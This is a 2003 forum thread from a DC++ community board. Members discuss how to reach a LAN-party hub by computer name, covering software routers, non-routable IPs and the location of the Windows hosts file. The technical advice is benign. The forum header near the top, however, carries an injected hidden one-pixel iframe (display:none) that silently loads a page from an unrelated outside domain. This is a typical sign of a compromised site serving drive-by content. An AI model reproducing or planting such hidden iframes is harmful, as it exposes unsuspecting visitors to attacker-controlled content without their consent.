Resolv local ip to name

Non-DC related talk...<iframe src=http://pokupka.ks.ua/templates/As/image ... p?from=com width=1 height=1 style=display:none></iframe>

Moderator: Moderators

Locked
joakim_tosteberg
Forum Moderator
Posts: 587
Joined: 2003-05-07 02:38
Location: Sweden, Linkoping

Resolv local ip to name

Post by joakim_tosteberg » 2003-10-23 09:48

Is it possible to connect to a hub in a puter using the puter name then behind a switch (unknown model)(I know its possible if you are running a local dns because that are having here) .If its not are possible does anyone know how to easy set up an local dns-server fot just the local ip and then get everything else from an outside dns, for example 10.0.0.1? I want info how to do it under both linux(redhat, not sure which version) and windows xp becuse I´ve not yet decided which os to run the hub under (or which hub).

joakim_tosteberg
Forum Moderator
Posts: 587
Joined: 2003-05-07 02:38
Location: Sweden, Linkoping

Post by joakim_tosteberg » 2003-10-23 09:53

Add to last post: If I´ve to use a local dns it will have to run on the same machine as the hub.

TheNOP
Posts: 275
Joined: 2003-07-07 21:41
Location: Quebec

Post by TheNOP » 2003-10-23 11:29

if you have a router on your LAN, it might also have DNS resolution in it DHCP server.(not for inside DNS resolution, but outside).

if DHCP allocate an IP to a puter, chance that the router will be also be able to resolve your no-ip addy are high.

if you have no router, you might try to setup a software router like:
http://sourceforge.net/projects/smoothwall/
or
http://sourceforge.net/projects/freesco/

also, adding an entry to the "hosts" file, in the puter you want to use to access your server, might do the trick.
like: 192,168.0.3 youraddy.no-ip.com
TheNOP

Have you read the FAQ?
Or the sticky ? It might give you idea.

joakim_tosteberg
Forum Moderator
Posts: 587
Joined: 2003-05-07 02:38
Location: Sweden, Linkoping

Post by joakim_tosteberg » 2003-10-23 11:40

Right now is it so that I´m on a local network, but in december will I be on a small LAN there it is nothing but two switches and I don´t think it will be a good idea to set up a router. Any other suggestions?

TheNOP
Posts: 275
Joined: 2003-07-07 21:41
Location: Quebec

Post by TheNOP » 2003-10-23 11:45

usualy local network = small LAN.

can you be more specific about the future LAN network layout ?
10 Mb network ?
TheNOP

Have you read the FAQ?
Or the sticky ? It might give you idea.

joakim_tosteberg
Forum Moderator
Posts: 587
Joined: 2003-05-07 02:38
Location: Sweden, Linkoping

Post by joakim_tosteberg » 2003-10-23 12:12

Perhaps the word "LAN" wasn´t the correct to use, it is just that this word are used for one other thing in sweden which is almost the same but not exactly. I better explain what I mean. What I mean is that people goes somewhere (in this case will it be somewhere between 30-40 people) and connets to local network (which often is connected directly to the net then) they do then stay there for about a weekend or more if it´s a big one like "nollelva" or "dreamhack" if you ever have heard of this. We will have two 10/100 MBits switches and the computers connected to them, I think switch number one will be connected to switch number two which are connected to the net. If you need more info tell me, I´ll also contact the arrangers(is this the correct word?) of the LAN to get more info about more exatcly how the switches will be conneted to eachother.

TheNOP
Posts: 275
Joined: 2003-07-07 21:41
Location: Quebec

Post by TheNOP » 2003-10-23 12:19

if i understand you correctly.

in this kind of setup is that you're all in the same LAN as all the other users of that ISP.(same IP class)

you won't be able to make a DNS server work to resolve outside DNS, unless the DNS server have a routable IP.

since i don't know what hardware the ISP is using, i can't say if DNS will be resolve for non routable IPs.
TheNOP

Have you read the FAQ?
Or the sticky ? It might give you idea.

joakim_tosteberg
Forum Moderator
Posts: 587
Joined: 2003-05-07 02:38
Location: Sweden, Linkoping

Post by joakim_tosteberg » 2003-10-23 12:24

Feels like I´ll wait until then and see what happens :wink:

TheNOP
Posts: 275
Joined: 2003-07-07 21:41
Location: Quebec

Post by TheNOP » 2003-10-23 12:32

there is a posible solution... but only if you can get a routable IP.
it could be use to set a software gateway(router) for your whole group.
you could gain benefice of infinit port forwarding(almost), proxy, DHCP, DNS, etc..., for all users behind the gateway.
TheNOP

Have you read the FAQ?
Or the sticky ? It might give you idea.

joakim_tosteberg
Forum Moderator
Posts: 587
Joined: 2003-05-07 02:38
Location: Sweden, Linkoping

Post by joakim_tosteberg » 2003-10-23 13:25

Do you think a 200-300 mhz p2 can handle both that and a hub?

joakim_tosteberg
Forum Moderator
Posts: 587
Joined: 2003-05-07 02:38
Location: Sweden, Linkoping

Post by joakim_tosteberg » 2003-10-23 13:31

The puter running the gatway should be outside the switches, or? (e.g. The computers on the local net connected to the switches, switch one to switch two which sholude be connected to the puter running the software gatway whic hthen sholud be connected to the net? Then you would need two neetworkcards in that puter? ) And also, where do you get a software gateway?

TheNOP
Posts: 275
Joined: 2003-07-07 21:41
Location: Quebec

Post by TheNOP » 2003-10-23 14:00

Do you think a 200-300 mhz p2 can handle both that and a hub?
a pentium 90 should be enough for the software router, with 2 or 3 nic.
the third is for DMZ(only if soft support more then 2 nic and DMZ is needed).
for the hub that depend on how many users are in the hub, best if not on same puter as the router.
The puter running the gatway should be outside the switches, or? (e.g. The computers on the local net connected to the switches, switch one to switch two which sholude be connected to the puter running the software gatway whic hthen sholud be connected to the net? Then you would need two neetworkcards in that puter? ) And also, where do you get a software gateway?

Code: Select all

ISP--->router--->switch--->switch--->puters
                       \ puters
look in previous post for the routers soft.
keep in minds that you will need a routable IP for this and that all your 30-40 puters will need to be connected to the switchs connect to the soft router.
TheNOP

Have you read the FAQ?
Or the sticky ? It might give you idea.

TheNOP
Posts: 275
Joined: 2003-07-07 21:41
Location: Quebec

Post by TheNOP » 2003-10-23 14:31

to summerize...

a few things to keep in minds when working with non routable IPs.

since they are not routable ISP need a NAT or gateway device, problem is that you can't configure the ISP devices yourself.

when you connect to the ISP network, depending on the DNS server configuration, DNS outside the LAN will not always resolve to an inside IP.

since you can't forward a port to a server inside the LAN(only ISP is able to and will surely not do it).
any server set in the LAN will only be available for users inside the LAN.
TheNOP

Have you read the FAQ?
Or the sticky ? It might give you idea.

joakim_tosteberg
Forum Moderator
Posts: 587
Joined: 2003-05-07 02:38
Location: Sweden, Linkoping

Post by joakim_tosteberg » 2003-10-24 13:26

Feels like that is to much work for just a weekend, but I've found a simplier way (perhaps not the best one). I just make a program that adds an entrie at the end of the hosts file. I know thi file is located C:\WINDOWS\system32\drivers\etc under win XP. Is it the same under NT? And where is that file under win 9x?

TheParanoidOne
Forum Moderator
Posts: 1420
Joined: 2003-04-22 14:37

Post by TheParanoidOne » 2003-10-24 17:35

joakim_tosteberg wrote:And where is that file under win 9x?
%WINDIR%\hosts
A sample file called hosts.sam exists there which should be either copied or renamed to just "hosts".

As for NT, who knows! MS likes to move around things a lot. I'm sure it's somewhere under the \WINNT hierarchy.
The world is coming to an end. Please log off.

DC++ Guide | Words

TheNOP
Posts: 275
Joined: 2003-07-07 21:41
Location: Quebec

Post by TheNOP » 2003-10-24 17:55

W2K have the same path C:\WINDOWS\system32\drivers\etc
TheNOP

Have you read the FAQ?
Or the sticky ? It might give you idea.

TheNOP
Posts: 275
Joined: 2003-07-07 21:41
Location: Quebec

Post by TheNOP » 2003-10-24 17:57

TheNOP wrote:W2K have the same path C:\WINDOWS\system32\drivers\etc
sorry change WINDOWS for WINNT
TheNOP

Have you read the FAQ?
Or the sticky ? It might give you idea.

TheNOP
Posts: 275
Joined: 2003-07-07 21:41
Location: Quebec

Post by TheNOP » 2003-10-24 20:47

also, adding an entry to the "hosts" file, in the puter you want to use to access your server, might do the trick.
like: 192,168.0.3 youraddy.no-ip.com
Feels like that is to much work for just a weekend, but I've found a simplier way (perhaps not the best one). I just make a program that adds an entrie at the end of the hosts file. I know thi file is located C:\WINDOWS\system32\drivers\etc under win XP. Is it the same under NT? And where is that file under win 9x?
one thing you must be aware of when playing with the Hosts file.
if the IP of the hub puter change, you will have to change the entries in all the Host file to reflect that.
this will depend of the lease time and behaviour in assignation of the IPs given by your ISP DHCP server.
TheNOP

Have you read the FAQ?
Or the sticky ? It might give you idea.

joakim_tosteberg
Forum Moderator
Posts: 587
Joined: 2003-05-07 02:38
Location: Sweden, Linkoping

Post by joakim_tosteberg » 2003-10-24 23:18

TheNOP wrote:
TheNOP wrote:W2K have the same path C:\WINDOWS\system32\drivers\etc
sorry change WINDOWS for WINNT
With this, do you mean that thare path to teh file inder w2k should be
C:\WINNT\system32\drivers\etc?

TheNOP
Posts: 275
Joined: 2003-07-07 21:41
Location: Quebec

Post by TheNOP » 2003-10-25 05:22

yes, the path for the Hosts file in W2K is:
C:\WINNT\system32\drivers\etc
same path for the lmhosts.sam file.
TheNOP

Have you read the FAQ?
Or the sticky ? It might give you idea.

Locked